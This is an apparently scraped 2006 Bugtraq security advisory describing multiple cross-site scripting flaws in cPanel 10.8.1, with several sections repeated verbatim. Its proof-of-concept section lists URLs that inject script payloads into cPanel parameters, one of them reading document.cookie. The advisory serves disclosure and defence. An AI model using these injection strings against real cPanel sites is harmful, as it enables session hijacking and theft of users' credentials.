cPanel Multiple Cross-Site Scripting Vulnerabilities
BID:16482
Info
cPanel Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 16482 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 03 2006 12:00AM |
| Updated: | Feb 03 2006 12:00AM |
| Credit: | Simo Ben Youssef is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
cPanel cPanel 10.8.1 (build 84) |
| Not Vulnerable: | |
Discussion
cPanel Multiple Cross-Site Scripting Vulnerabilities
cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Successful exploitation may allow an attacker to gain unauthorized access to a cPanel user's account.
cPanel is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Successful exploitation may allow an attacker to gain unauthorized access to a cPanel user's account.
Exploit / POC
cPanel Multiple Cross-Site Scripting Vulnerabilities
No exploit is required.
Example URI have been provided:
http://www.example.com:2082/frontend/xcontroller/editquota.html?email=<script>alert('vul')</script>&domain=
http://www.example.com:2082/frontend/xcontroller/dodelpop.html?email=<script>alert('vul')</script>&domain=xxx
http://www.example.com:2082/frontend/xcontroller/diskusage.html?showtree=0"><script>alert('vul')</script>
http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx&target="><script>alert('vul')</script>
http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx"><script>alert('vul')</script>&target=xxx
http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006"><script>alert('vul')</script>&domain=xxx&target=xxx
http://www.example.com:2095/webmailaging.cgi?numdays=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&ageaction=change
No exploit is required.
Example URI have been provided:
http://www.example.com:2082/frontend/xcontroller/editquota.html?email=<script>alert('vul')</script>&domain=
http://www.example.com:2082/frontend/xcontroller/dodelpop.html?email=<script>alert('vul')</script>&domain=xxx
http://www.example.com:2082/frontend/xcontroller/diskusage.html?showtree=0"><script>alert('vul')</script>
http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx&target="><script>alert('vul')</script>
http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006&domain=xxx"><script>alert('vul')</script>&target=xxx
http://www.example.com:2082/frontend/xcontroller/stats/detailbw.html?mon=Jan&year=2006"><script>alert('vul')</script>&domain=xxx&target=xxx
http://www.example.com:2095/webmailaging.cgi?numdays=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&ageaction=change
Solution / Fix
cPanel Multiple Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
cPanel Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- cPanel Cross Site Scripting Vulnerability (MeXHackTeam)
- cPanel Homepage (cPanel)